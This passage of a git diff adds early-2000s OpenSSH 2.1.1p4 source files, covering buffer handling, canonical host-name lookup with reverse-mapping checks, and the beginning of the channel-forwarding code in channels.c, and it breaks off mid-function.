than 256k. The returned value points to memory allocated with + * xmalloc; it is the responsibility of the calling function to free the + * data. If length_ptr is non-NULL, the length of the returned data will be + * stored there. A null character will be automatically appended to the + * returned string, and is not counted in length. + */ +char *buffer_get_string(Buffer * buffer, unsigned int *length_ptr); + +/* Stores and arbitrary binary string in the buffer. */ +void buffer_put_string(Buffer * buffer, const void *buf, unsigned int len); +void buffer_put_cstring(Buffer *buffer, const char *s); + +#endif /* BUFAUX_H */ diff --git a/other/openssh-2.1.1p4/buffer.c b/other/openssh-2.1.1p4/buffer.c new file mode 100644 index 0000000..468d2a0 --- /dev/null +++ b/other/openssh-2.1.1p4/buffer.c @@ -0,0 +1,162 @@ +/* + * + * buffer.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Mar 18 04:15:33 1995 ylo + * + * Functions for manipulating fifo buffers (that can grow if needed). + * + */ + +#include "includes.h" +RCSID("$OpenBSD: buffer.c,v 1.7 2000/06/20 01:39:39 markus Exp $"); + +#include "xmalloc.h" +#include "buffer.h" +#include "ssh.h" + +/* Initializes the buffer structure. */ + +void +buffer_init(Buffer *buffer) +{ + buffer->alloc = 4096; + buffer->buf = xmalloc(buffer->alloc); + memset(buffer->buf, 0, 4096); + buffer->offset = 0; + buffer->end = 0; +} + +/* Frees any memory used for the buffer. */ + +void +buffer_free(Buffer *buffer) +{ + memset(buffer->buf, 0, buffer->alloc); + xfree(buffer->buf); +} + +/* + * Clears any data from the buffer, making it empty. This does not actually + * zero the memory. + */ + +void +buffer_clear(Buffer *buffer) +{ + buffer->offset = 0; + buffer->end = 0; +} + +/* Appends data to the buffer, expanding it if necessary. */ + +void +buffer_append(Buffer *buffer, const char *data, unsigned int len) +{ + char *cp; + buffer_append_space(buffer, &cp, len); + memcpy(cp, data, len); +} + +/* + * Appends space to the buffer, expanding the buffer if necessary. This does + * not actually copy the data into the buffer, but instead returns a pointer + * to the allocated region. + */ + +void +buffer_append_space(Buffer *buffer, char **datap, unsigned int len) +{ + /* If the buffer is empty, start using it from the beginning. */ + if (buffer->offset == buffer->end) { + buffer->offset = 0; + buffer->end = 0; + } +restart: + /* If there is enough space to store all data, store it now. */ + if (buffer->end + len < buffer->alloc) { + *datap = buffer->buf + buffer->end; + buffer->end += len; + return; + } + /* + * If the buffer is quite empty, but all data is at the end, move the + * data to the beginning and retry. + */ + if (buffer->offset > buffer->alloc / 2) { + memmove(buffer->buf, buffer->buf + buffer->offset, + buffer->end - buffer->offset); + buffer->end -= buffer->offset; + buffer->offset = 0; + goto restart; + } + /* Increase the size of the buffer and retry. */ + buffer->alloc += len + 32768; + buffer->buf = xrealloc(buffer->buf, buffer->alloc); + goto restart; +} + +/* Returns the number of bytes of data in the buffer. */ + +unsigned int +buffer_len(Buffer *buffer) +{ + return buffer->end - buffer->offset; +} + +/* Gets data from the beginning of the buffer. */ + +void +buffer_get(Buffer *buffer, char *buf, unsigned int len) +{ + if (len > buffer->end - buffer->offset) + fatal("buffer_get: trying to get more bytes than in buffer"); + memcpy(buf, buffer->buf + buffer->offset, len); + buffer->offset += len; +} + +/* Consumes the given number of bytes from the beginning of the buffer. */ + +void +buffer_consume(Buffer *buffer, unsigned int bytes) +{ + if (bytes > buffer->end - buffer->offset) + fatal("buffer_consume: trying to get more bytes than in buffer"); + buffer->offset += bytes; +} + +/* Consumes the given number of bytes from the end of the buffer. */ + +void +buffer_consume_end(Buffer *buffer, unsigned int bytes) +{ + if (bytes > buffer->end - buffer->offset) + fatal("buffer_consume_end: trying to get more bytes than in buffer"); + buffer->end -= bytes; +} + +/* Returns a pointer to the first used byte in the buffer. */ + +char * +buffer_ptr(Buffer *buffer) +{ + return buffer->buf + buffer->offset; +} + +/* Dumps the contents of the buffer to stderr. */ + +void +buffer_dump(Buffer *buffer) +{ + int i; + unsigned char *ucp = (unsigned char *) buffer->buf; + + for (i = buffer->offset; i < buffer->end; i++) + fprintf(stderr, " %02x", ucp[i]); + fprintf(stderr, "\n"); +} diff --git a/other/openssh-2.1.1p4/buffer.h b/other/openssh-2.1.1p4/buffer.h new file mode 100644 index 0000000..a2b4eff --- /dev/null +++ b/other/openssh-2.1.1p4/buffer.h @@ -0,0 +1,68 @@ +/* + * + * buffer.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Mar 18 04:12:25 1995 ylo + * + * Code for manipulating FIFO buffers. + * + */ + +/* RCSID("$OpenBSD: buffer.h,v 1.5 2000/06/20 01:39:39 markus Exp $"); */ + +#ifndef BUFFER_H +#define BUFFER_H + +typedef struct { + char *buf; /* Buffer for data. */ + unsigned int alloc; /* Number of bytes allocated for data. */ + unsigned int offset; /* Offset of first byte containing data. */ + unsigned int end; /* Offset of last byte containing data. */ +} Buffer; +/* Initializes the buffer structure. */ +void buffer_init(Buffer * buffer); + +/* Frees any memory used for the buffer. */ +void buffer_free(Buffer * buffer); + +/* Clears any data from the buffer, making it empty. This does not actually + zero the memory. */ +void buffer_clear(Buffer * buffer); + +/* Appends data to the buffer, expanding it if necessary. */ +void buffer_append(Buffer * buffer, const char *data, unsigned int len); + +/* + * Appends space to the buffer, expanding the buffer if necessary. This does + * not actually copy the data into the buffer, but instead returns a pointer + * to the allocated region. + */ +void buffer_append_space(Buffer * buffer, char **datap, unsigned int len); + +/* Returns the number of bytes of data in the buffer. */ +unsigned int buffer_len(Buffer * buffer); + +/* Gets data from the beginning of the buffer. */ +void buffer_get(Buffer * buffer, char *buf, unsigned int len); + +/* Consumes the given number of bytes from the beginning of the buffer. */ +void buffer_consume(Buffer * buffer, unsigned int bytes); + +/* Consumes the given number of bytes from the end of the buffer. */ +void buffer_consume_end(Buffer * buffer, unsigned int bytes); + +/* Returns a pointer to the first used byte in the buffer. */ +char *buffer_ptr(Buffer * buffer); + +/* + * Dumps the contents of the buffer to stderr in hex. This intended for + * debugging purposes only. + */ +void buffer_dump(Buffer * buffer); + +#endif /* BUFFER_H */ diff --git a/other/openssh-2.1.1p4/canohost.c b/other/openssh-2.1.1p4/canohost.c new file mode 100644 index 0000000..7ded0e3 --- /dev/null +++ b/other/openssh-2.1.1p4/canohost.c @@ -0,0 +1,298 @@ +/* + * + * canohost.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sun Jul 2 17:52:22 1995 ylo + * + * Functions for returning the canonical host name of the remote site. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: canohost.c,v 1.13 2000/06/20 01:39:39 markus Exp $"); + +#include "packet.h" +#include "xmalloc.h" +#include "ssh.h" + +/* + * Return the canonical name of the host at the other end of the socket. The + * caller should free the returned string with xfree. + */ + +char * +get_remote_hostname(int socket) +{ + struct sockaddr_storage from; + int i; + socklen_t fromlen; + struct addrinfo hints, *ai, *aitop; + char name[MAXHOSTNAMELEN]; + char ntop[NI_MAXHOST], ntop2[NI_MAXHOST]; + + /* Get IP address of client. */ + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (getpeername(socket, (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + +#ifdef IPV4_IN_IPV6 + if (from.ss_family == AF_INET6) { + struct sockaddr_in6 *from6 = (struct sockaddr_in6 *)&from; + + /* Detect IPv4 in IPv6 mapped address and convert it to */ + /* plain (AF_INET) IPv4 address */ + if (IN6_IS_ADDR_V4MAPPED(&from6->sin6_addr)) { + struct sockaddr_in *from4 = (struct sockaddr_in *)&from; + struct in_addr addr; + u_int16_t port; + + memcpy(&addr, ((char *)&from6->sin6_addr) + 12, sizeof(addr)); + port = from6->sin6_port; + + memset(&from, 0, sizeof(from)); + + from4->sin_family = AF_INET; + memcpy(&from4->sin_addr, &addr, sizeof(addr)); + from4->sin_port = port; + } + } +#endif + + if (getnameinfo((struct sockaddr *)&from, fromlen, ntop, sizeof(ntop), + NULL, 0, NI_NUMERICHOST) != 0) + fatal("get_remote_hostname: getnameinfo NI_NUMERICHOST failed"); + + /* Map the IP address to a host name. */ + if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name), + NULL, 0, NI_NAMEREQD) == 0) { + /* Got host name. */ + name[sizeof(name) - 1] = '\0'; + /* + * Convert it to all lowercase (which is expected by the rest + * of this software). + */ + for (i = 0; name[i]; i++) + if (isupper(name[i])) + name[i] = tolower(name[i]); + + /* + * Map it back to an IP address and check that the given + * address actually is an address of this host. This is + * necessary because anyone with access to a name server can + * define arbitrary names for an IP address. Mapping from + * name to IP address can be trusted better (but can still be + * fooled if the intruder has access to the name server of + * the domain). + */ + memset(&hints, 0, sizeof(hints)); + hints.ai_family = from.ss_family; + hints.ai_socktype = SOCK_STREAM; + if (getaddrinfo(name, NULL, &hints, &aitop) != 0) { + log("reverse mapping checking getaddrinfo for %.700s failed - POSSIBLE BREAKIN ATTEMPT!", name); + strlcpy(name, ntop, sizeof name); + goto check_ip_options; + } + /* Look for the address from the list of addresses. */ + for (ai = aitop; ai; ai = ai->ai_next) { + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop2, + sizeof(ntop2), NULL, 0, NI_NUMERICHOST) == 0 && + (strcmp(ntop, ntop2) == 0)) + break; + } + freeaddrinfo(aitop); + /* If we reached the end of the list, the address was not there. */ + if (!ai) { + /* Address not found for the host name. */ + log("Address %.100s maps to %.600s, but this does not map back to the address - POSSIBLE BREAKIN ATTEMPT!", + ntop, name); + strlcpy(name, ntop, sizeof name); + goto check_ip_options; + } + /* Address was found for the host name. We accept the host name. */ + } else { + /* Host name not found. Use ascii representation of the address. */ + strlcpy(name, ntop, sizeof name); + log("Could not reverse map address %.100s.", name); + } + +check_ip_options: + + /* + * If IP options are supported, make sure there are none (log and + * disconnect them if any are found). Basically we are worried about + * source routing; it can be used to pretend you are somebody + * (ip-address) you are not. That itself may be "almost acceptable" + * under certain circumstances, but rhosts autentication is useless + * if source routing is accepted. Notice also that if we just dropped + * source routing here, the other side could use IP spoofing to do + * rest of the interaction and could still bypass security. So we + * exit here if we detect any IP options. + */ + /* IP options -- IPv4 only */ + if (from.ss_family == AF_INET) { + unsigned char options[200], *ucp; + char text[1024], *cp; + socklen_t option_size; + int ipproto; + struct protoent *ip; + + if ((ip = getprotobyname("ip")) != NULL) + ipproto = ip->p_proto; + else + ipproto = IPPROTO_IP; + option_size = sizeof(options); + if (getsockopt(0, ipproto, IP_OPTIONS, (char *) options, + &option_size) >= 0 && option_size != 0) { + cp = text; + /* Note: "text" buffer must be at least 3x as big as options. */ + for (ucp = options; option_size > 0; ucp++, option_size--, cp += 3) + sprintf(cp, " %2.2x", *ucp); + log("Connection from %.100s with IP options:%.800s", + ntop, text); + packet_disconnect("Connection from %.100s with IP options:%.800s", + ntop, text); + } + } + + return xstrdup(name); +} + +/* + * Return the canonical name of the host in the other side of the current + * connection. The host name is cached, so it is efficient to call this + * several times. + */ + +const char * +get_canonical_hostname() +{ + static char *canonical_host_name = NULL; + + /* Check if we have previously retrieved this same name. */ + if (canonical_host_name != NULL) + return canonical_host_name; + + /* Get the real hostname if socket; otherwise return UNKNOWN. */ + if (packet_connection_is_on_socket()) + canonical_host_name = get_remote_hostname(packet_get_connection_in()); + else + canonical_host_name = xstrdup("UNKNOWN"); + + return canonical_host_name; +} + +/* + * Returns the IP-address of the remote host as a string. The returned + * string must not be freed. + */ + +const char * +get_remote_ipaddr() +{ + static char *canonical_host_ip = NULL; + struct sockaddr_storage from; + socklen_t fromlen; + int socket; + char ntop[NI_MAXHOST]; + + /* Check whether we have chached the name. */ + if (canonical_host_ip != NULL) + return canonical_host_ip; + + /* If not a socket, return UNKNOWN. */ + if (!packet_connection_is_on_socket()) { + canonical_host_ip = xstrdup("UNKNOWN"); + return canonical_host_ip; + } + /* Get client socket. */ + socket = packet_get_connection_in(); + + /* Get IP address of client. */ + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (getpeername(socket, (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + /* Get the IP address in ascii. */ + if (getnameinfo((struct sockaddr *)&from, fromlen, ntop, sizeof(ntop), + NULL, 0, NI_NUMERICHOST) != 0) + fatal("get_remote_hostname: getnameinfo NI_NUMERICHOST failed"); + + canonical_host_ip = xstrdup(ntop); + + /* Return ip address string. */ + return canonical_host_ip; +} + +/* Returns the local/remote port for the socket. */ + +int +get_sock_port(int sock, int local) +{ + struct sockaddr_storage from; + socklen_t fromlen; + char strport[NI_MAXSERV]; + + /* Get IP address of client. */ + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (local) { + if (getsockname(sock, (struct sockaddr *)&from, &fromlen) < 0) { + error("getsockname failed: %.100s", strerror(errno)); + return 0; + } + } else { + if (getpeername(sock, (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + } + /* Return port number. */ + if (getnameinfo((struct sockaddr *)&from, fromlen, NULL, 0, + strport, sizeof(strport), NI_NUMERICSERV) != 0) + fatal("get_sock_port: getnameinfo NI_NUMERICSERV failed"); + return atoi(strport); +} + +/* Returns remote/local port number for the current connection. */ + +int +get_port(int local) +{ + /* + * If the connection is not a socket, return 65535. This is + * intentionally chosen to be an unprivileged port number. + */ + if (!packet_connection_is_on_socket()) + return 65535; + + /* Get socket and return the port number. */ + return get_sock_port(packet_get_connection_in(), local); +} + +int +get_peer_port(int sock) +{ + return get_sock_port(sock, 0); +} + +int +get_remote_port() +{ + return get_port(0); +} + +int +get_local_port() +{ + return get_port(1); +} diff --git a/other/openssh-2.1.1p4/channels.c b/other/openssh-2.1.1p4/channels.c new file mode 100644 index 0000000..3710b2f --- /dev/null +++ b/other/openssh-2.1.1p4/channels.c @@ -0,0 +1,2324 @@ +/* + * + * channels.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 24 16:35:24 1995 ylo + * + * This file contains functions for generic socket connection forwarding. + * There is also code for initiating connection forwarding for X11 connections, + * arbitrary tcp/ip connections, and the authentication agent connection. + * + * SSH2 support added by Markus Friedl. + */ + +#include "includes.h" +RCSID("$OpenBSD: channels.c,v 1.63 2000/06/25 20:17:57 provos Exp $"); + +#include "ssh.h" +#include "packet.h" +#include "xmalloc.h" +#include "buffer.h" +#include "authfd.h" +#include "uidswap.h" +#include "readconf.h" +#include "servconf.h" + +#include "channels.h" +#include "nchan.h" +#include "compat.h" + +#include "ssh2.h" + +/* Maximum number of fake X11 displays to try. */ +#define MAX_DISPLAYS 1000 + +/* Max len of agent socket */ +#define MAX_SOCKET_NAME 100 + +/* default window/packet sizes for tcp/x11-fwd-channel */ +#define CHAN_TCP_WINDOW_DEFAULT (8*1024) +#define CHAN_TCP_PACKET_DEFAULT (CHAN_TCP_WINDOW_DEFAULT/2) +#define CHAN_X11_WINDOW_DEFAULT (4*1024) +#define CHAN_X11_PACKET_DEFAULT (CHAN_X11_WINDOW_DEFAULT/2) + +/* + * Pointer to an array containing all allocated channels. The array is + * dynamically extended as needed. + */ +static Channel *channels = NULL; + +/* + * Size of the channel array. All slots of the array must always be + * initialized (at least the type field); unused slots are marked with type + * SSH_CHANNEL_FREE. + */ +static int channels_alloc = 0; + +/* + * Maximum file descriptor value used in any of the channels. This is + * updated in channel_allocate. + */ +static int channel_max_fd_value = 0; + +/* Name and directory of socket for authentication agent forwarding. */ +static char *channel_forwarded_auth_socket_name = NULL; +static char *channel_forwarded_auth_socket_dir = NULL; + +/* Saved X11 authentication protocol name. */ +char *x11_saved_proto = NULL; + +/* Saved X11 authentication data. This is the real data. */ +char *x11_saved_data = NULL; +unsigned int x11_saved_data_len = 0; + +/* + * Fake X11 authentication data. This is what the server will be sending us; + * we should replace any occurrences of this by the real data. + */ +char *x11_fake_data = NULL; +unsigned int x11_fake_data_len; + +/* + * Data structure for storing which hosts are permitted for forward requests. + * The local sides of any remote forwards are stored in this array to prevent + * a corrupt remote server from accessing arbitrary TCP/IP ports on our local + * network (which might be behind a firewall). + */ +typedef struct { + char *host_to_connect; /* Connect to 'host'. */ + u_short port_to_connect; /* Connect to 'port'. */ + u_short listen_port; /* Remote side should listen port number. */ +} ForwardPermission; + +/* List of all permitted host/port pairs to connect. */ +static ForwardPermission permitted_opens[SSH_MAX_FORWARDS_PER_DIRECTION]; +/* Number of permitted host/port pairs in the array. */ +static int num_permitted_opens = 0; +/* + * If this is true, all opens are permitted. This is the case on the server + * on which we have to trust the client anyway, and the user could do + * anything after logging in anyway. + */ +static int all_opens_permitted = 0; + +/* This is set to true if both sides support SSH_PROTOFLAG_HOST_IN_FWD_OPEN. */ +static int have_hostname_in_open = 0; + +/* Sets specific protocol options. */ + +void +channel_set_options(int hostname_in_open) +{ + have_hostname_in_open = hostname_in_open; +} + +/* + * Permits opening to any host/port in SSH_MSG_PORT_OPEN. This is usually + * called by the server, because the user could connect to any port anyway, + * and the server has no way to know but to trust the client anyway. + */ + +void +channel_permit_all_opens() +{ + all_opens_permitted = 1; +} + +/* lookup channel by id */ + +Channel * +channel_lookup(int id) +{ + Channel *c; + if (id < 0 || id > channels_alloc) { + log("channel_lookup: %d: bad id", id); + return NULL; + } + c = &channels[id]; + if (c->type == SSH_CHANNEL_FREE) { + log("channel_lookup: %d: bad id: channel free", id); + return NULL; + } + return c; +} + +/* + * Register filedescriptors for a channel, used when allocating a channel or + * when the channel consumer/producer is ready, e.g. shell exec'd + */ + +void +channel_register_fds(Channel *c, int rfd, int wfd, int efd, int extusage) +{ + /* Update the maximum file descriptor value. */ + if (rfd > channel_max_fd_value) + channel_max_fd_value = rfd; + if (wfd > channel_max_fd_value) + channel_max_fd_value = wfd; + if (efd > channel_max_fd_value) + channel_max_fd_value = efd; + /* XXX set close-on-exec -markus */ + + c->rfd = rfd; + c->wfd = wfd; + c->sock = (rfd == wfd) ? rfd : -1; + c->efd = efd; + c->extended_usage = extusage; + if (rfd != -1) + set_nonblock(rfd); + if (wfd != -1) + set_nonblock(wfd); + if (efd != -1) + set_nonblock(efd); +} + +/* + * Allocate a new channel object and set its type and socket. This will cause + * remote_name to be freed. + */ + +int +channel_new(char *ctype, int type, int rfd, int wfd, int efd, + int window, int maxpack, int extusage, char *remote_name) +{ + int i, found; + Channel *c; + + /* Do initial allocation if this is the first call. */ + if (channels_alloc == 0) { + chan_init(); + channels_alloc = 10; + channels = xmalloc(channels_alloc * sizeof(Channel)); + for (i = 0; i < channels_alloc; i++) + channels[i].type = SSH_CHANNEL_FREE; + /* + * Kludge: arrange a call to channel_stop_listening if we + * terminate with fatal(). + */ + fatal_add_cleanup((void (*) (void *)) channel_stop_listening, NULL); + } + /* Try to find a free slot where to put the new channel. */ + for (found = -1, i = 0; i < channels_alloc; i++) + if (channels[i].type == SSH_CHANNEL_FREE) { + /* Found a free slot. */ + found = i; + break; + } + if (found == -1) { + /* There are no free slots. Take last+1 slot and expand the array. */ + found = channels_alloc; + channels_alloc += 10; + debug("channel: expanding %d", channels_alloc); + channels = xrealloc(channels, channels_alloc * sizeof(Channel)); + for (i = found; i < channels_alloc; i++) + channels[i].type = SSH_CHANNEL_FREE; + } + /* Initialize and return new channel number. */ + c = &channels[found]; + buffer_init(&c->input); + buffer_init(&c->output); + buffer_init(&c->extended); + chan_init_iostates(c); + channel_register_fds(c, rfd, wfd, efd, extusage); + c->self = found; + c->type = type; + c->ctype = ctype; + c->local_window = window; + c->local_window_max = window; + c->local_consumed = 0; + c->local_maxpacket = maxpack; + c->remote_id = -1; + c->remote_name = remote_name; + c->remote_window = 0; + c->remote_maxpacket = 0; + c->cb_fn = NULL; + c->cb_arg = NULL; + c->cb_event = 0; + c->dettach_user = NULL; + debug("channel %d: new [%s]", found, remote_name); + return found; +} +/* old interface XXX */ +int +channel_allocate(int type, int sock, char *remote_name) +{ + return channel_new("", type, sock, sock, -1, 0, 0, 0, remote_name); +} + + +/* Close all channel fd/socket. */ + +void +channel_close_fds(Channel *c) +{ + if (c->sock != -1) { + close(c->sock); + c->sock = -1; + } + if (c->rfd != -1) { + close(c->rfd); + c->rfd = -1; + } + if (c->wfd != -1) { + close(c->wfd); + c->wfd = -1; + } + if (c->efd != -1) { + close(c->efd); + c->efd = -1; + } +} + +/* Free the channel and close its fd/socket. */ + +void +channel_free(int id) +{ + Channel *c = channel_lookup(id); + if (c == NULL) + packet_disconnect("channel free: bad local channel %d", id); + debug("channel_free: channel %d: status: %s", id, channel_open_message()); + if (c->dettach_user != NULL) { + debug("channel_free: channel %d: dettaching channel user", id); + c->dettach_user(c->self, NULL); + } + if (c->sock != -1) + shutdown(c->sock, SHUT_RDWR); + channel_close_fds(c); + buffer_free(&c->input); + buffer_free(&c->output); + buffer_free(&c->extended); + c->type = SSH_CHANNEL_FREE; + if (c->remote_name) { + xfree(c->remote_name); + c->remote_name = NULL; + } +} + +/* + * 'channel_pre*' are called just before select() to add any bits relevant to + * channels in the select bitmasks. + */ +/* + * 'channel_post*': perform any appropriate operations for channels which + * have events pending. + */ +typedef void chan_fn(Channel *c, fd_set * readset, fd_set * writeset); +chan_fn *channel_pre[SSH_CHANNEL_MAX_TYPE]; +chan_fn *channel_post[SSH_CHANNEL_MAX_TYPE]; + +void +channel_pre_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + FD_SET(c->sock, readset); +} + +void +channel_pre_open_13(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (buffer_len(&c->input) < packet_get_maxsize()) + FD_SET(c->sock, readset); + if (buffer_len(&c->output) > 0) + FD_SET(c->sock, writeset); +} + +void +channel_pre_open_15(Channel *c, fd_set * readset, fd_set * writeset) +{ + /* test whether sockets are 'alive' for read/write */ + if (c->istate == CHAN_INPUT_OPEN) + if (buffer_len(&c->input) < packet_get_maxsize()) + FD_SET(c->sock, readset); + if (c->ostate == CHAN_OUTPUT_OPEN || + c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + if (buffer_len(&c->output) > 0) { + FD_SET(c->sock, writeset); + } else if (c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + chan_obuf_empty(c); + } + } +} + +void +channel_pre_open_20(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (c->istate == CHAN_INPUT_OPEN && + c->remote_window > 0 && + buffer_len(&c->input) < c->remote_window) + FD_SET(c->rfd, readset); + if (c->ostate == CHAN_OUTPUT_OPEN || + c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + if (buffer_len(&c->output) > 0) { + FD_SET(c->wfd, writeset); + } else if (c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + chan_obuf_empty(c); + } + } + /** XXX check close conditions, too */ + if (c->efd != -1) { + if (c->extended_usage == CHAN_EXTENDED_WRITE && + buffer_len(&c->extended) > 0) + FD_SET(c->efd, writeset); + else if (c->extended_usage == CHAN_EXTENDED_READ && + buffer_len(&c->extended) < c->remote_window) + FD_SET(c->efd, readset); + } +} + +void +channel_pre_input_draining(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (buffer_len(&c->input) == 0) { + packet_start(SSH_MSG_CHANNEL_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + c->type = SSH_CHANNEL_CLOSED; + debug("Closing channel %d after input drain.", c->self); + } +} + +void +channel_pre_output_draining(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (buffer_len(&c->output) == 0) + channel_free(c->self); + else + FD_SET(c->sock, writeset); +} + +/* + * This is a special state for X11 authentication spoofing. An opened X11 + * connection (when authentication spoofing is being done) remains in this + * state until the first packet has been completely read. The authentication + * data in that packet is then substituted by the real data if it matches the + * fake data, and the channel is put into normal mode. + * XXX All this happens at the client side. + */ +int +x11_open_helper(Channel *c) +{ + unsigned char *ucp; + unsigned int proto_len, data_len; + + /* Check if the fixed size part of the packet is in buffer. */ + if (buffer_len(&c->output) < 12) + return 0; + + /* Parse the lengths of variable-length fields. */ + ucp = (unsigned char *) buffer_ptr(&c->output); + if (ucp[0] == 0x42) { /* Byte order MSB first. */ + proto_len = 256 * ucp[6] + ucp[7]; + data_len = 256 * ucp[8] + ucp[9]; + } else if (ucp[0] == 0x6c) { /* Byte order LSB first. */ + proto_len = ucp[6] + 256 * ucp[7]; + data_len = ucp[8] + 256 * ucp[9]; + } else { + debug("Initial X11 packet contains bad byte order byte: 0x%x", + ucp[0]); + return -1; + } + + /* Check if the whole packet is in buffer. */ + if (buffer_len(&c->output) < + 12 + ((proto_len + 3) & ~3) + ((data_len + 3) & ~3)) + return 0; + + /* Check if authentication protocol matches. */ + if (proto_len != strlen(x11_saved_proto) || + memcmp(ucp + 12, x11_saved_proto, proto_len) != 0) { + debug("X11 connection uses different authentication protocol."); + return -1; + } + /* Check if authentication data matches our fake data. */ + if (data_len != x11_fake_data_len || + memcmp(ucp + 12 + ((proto_len + 3) & ~3), + x11_fake_data, x11_fake_data_len) != 0) { + debug("X11 auth data does not match fake data."); + return -1; + } + /* Check fake data length */ + if (x11_fake_data_len != x11_saved_data_len) { + error("X11 fake_data_len %d != saved_data_len %d", + x11_fake_data_len, x11_saved_data_len); + return -1; + } + /* + * Received authentication protocol and data match + * our fake data. Substitute the fake data with real + * data. + */ + memcpy(ucp + 12 + ((proto_len + 3) & ~3), + x11_saved_data, x11_saved_data_len); + return 1; +} + +void +channel_pre_x11_open_13(Channel *c, fd_set * readset, fd_set * writeset) +{ + int ret = x11_open_helper(c); + if (ret == 1) { + /* Start normal processing for the channel. */ + c->type = SSH_CHANNEL_OPEN; + channel_pre_open_13(c, readset, writeset); + } else if (ret == -1) { + /* + * We have received an X11 connection that has bad + * authentication information. + */ + log("X11 connection rejected because of wrong authentication.\r\n"); + buffer_clear(&c->input); + buffer_clear(&c->output); + close(c->sock); + c->sock = -1; + c->type = SSH_CHANNEL_CLOSED; + packet_start(SSH_MSG_CHANNEL_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + } +} + +void +channel_pre_x11_open(Channel *c, fd_set * readset, fd_set * writeset) +{ + int ret = x11_open_helper(c); + if (ret == 1) { + c->type = SSH_CHANNEL_OPEN; + if (compat20) + channel_pre_open_20(c, readset, writeset); + else + channel_pre_open_15(c, readset, writeset); + } else if (ret == -1) { + debug("X11 rejected %d i%d/o%d", c->self, c->istate, c->ostate); + chan_read_failed(c); /** force close? */ + chan_write_failed(c); + debug("X11 closed %d i%d/o%d", c->self, c->istate, c->ostate); + } +} + +/* This is our fake X11 server socket. */ +void +channel_post_x11_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + struct sockaddr addr; + int newsock, newch; + socklen_t addrlen; + char buf[16384], *remote_hostname; + int remote_port; + + if (FD_ISSET(c->sock, readset)) { + debug("X11 connection requested."); + addrlen = sizeof(addr); + newsock = accept(c->sock, &addr, &addrlen); + if (newsock < 0) { + error("accept: %.100s", strerror(errno)); + return; + } + remote_hostname = get_remote_hostname(newsock); + remote_port = get_peer_port(newsock); + snprintf(buf, sizeof buf, "X11 connection from %.200s port %d", + remote_hostname, remote_port); + + newch = channel_new("x11", + SSH_CHANNEL_OPENING, newsock, newsock, -1, + c->local_window_max, c->local_maxpacket, + 0, xstrdup(buf)); + if (compat20) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring("x11"); + packet_put_int(newch); + packet_put_int(c->local_window_max); + packet_put_int(c->local_maxpacket); + /* originator host and port */ + packet_put_cstring(remote_hostname); + if (datafellows & SSH_BUG_X11FWD) { + debug("ssh2 x11 bug compat mode"); + } else { + packet_put_int(remote_port); + } + packet_send(); + } else { + packet_start(SSH_SMSG_X11_OPEN); + packet_put_int(newch); + if (have_hostname_in_open) + packet_put_string(buf, strlen(buf)); + packet_send(); + } + xfree(remote_hostname); + } +} + +/* + * This socket is listening for connections to a forwarded TCP/IP port. + */ +void +channel_post_port_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + struct sockaddr addr; + int newsock, newch; + socklen_t addrlen; + char buf[1024], *remote_hostname; + int remote_port; + + if (FD_ISSET(c->sock, readset)) { + debug("Connection to port %d forwarding " + "to %.100s port %d requested.", + c->listening_port, c->path, c->host_port); + addrlen = sizeof(addr); + newsock = accept(c->sock, &addr, &addrlen); + if (newsock < 0) { + error("accept: %.100s", strerror(errno)); + return; + } + remote_hostname = get_remote_hostname(newsock); + remote_port = get_peer_port(newsock); + snprintf(buf, sizeof buf, + "listen port %d for %.100s port %d, " + "connect from %.200s port %d", + c->listening_port, c->path, c->host_port, + remote_hostname, remote_port); + newch = channel_new("direct-tcpip", + SSH_CHANNEL_OPENING, newsock, newsock, -1, + c->local_window_max, c->local_maxpacket, + 0, xstrdup(buf)); + if (compat20) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring("direct-tcpip"); + packet_put_int(newch); + packet_put_int(c->local_window_max); + packet_put_int(c->local_maxpacket); + /* target host and port */ + packet_put_string(c->path, strlen(c->path)); + packet_put_int(c->host_port); + /* originator host and port */ + packet_put_cstring(remote_hostname); + packet_put_int(remote_port); + packet_send(); + } else { + packet_start(SSH_MSG_PORT_OPEN); + packet_put_int(newch); + packet_put_string(c->path, strlen(c->path)); + packet_put_int(c->host_port); + if (have_hostname_in_open) { + packet_put_string(buf, strlen(buf)); + } + packet_send(); + } + xfree(remote_hostname); + } +} + +/* + * This is the authentication agent socket listening for connections from + * clients. + */ +void +channel_post_auth_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + struct sockaddr addr; + int newsock, newch; + socklen_t addrlen; + + if (FD_ISSET(c->sock, readset)) { + addrlen = sizeof(addr); + newsock = accept(c->sock, &addr, &addrlen); + if (newsock < 0) 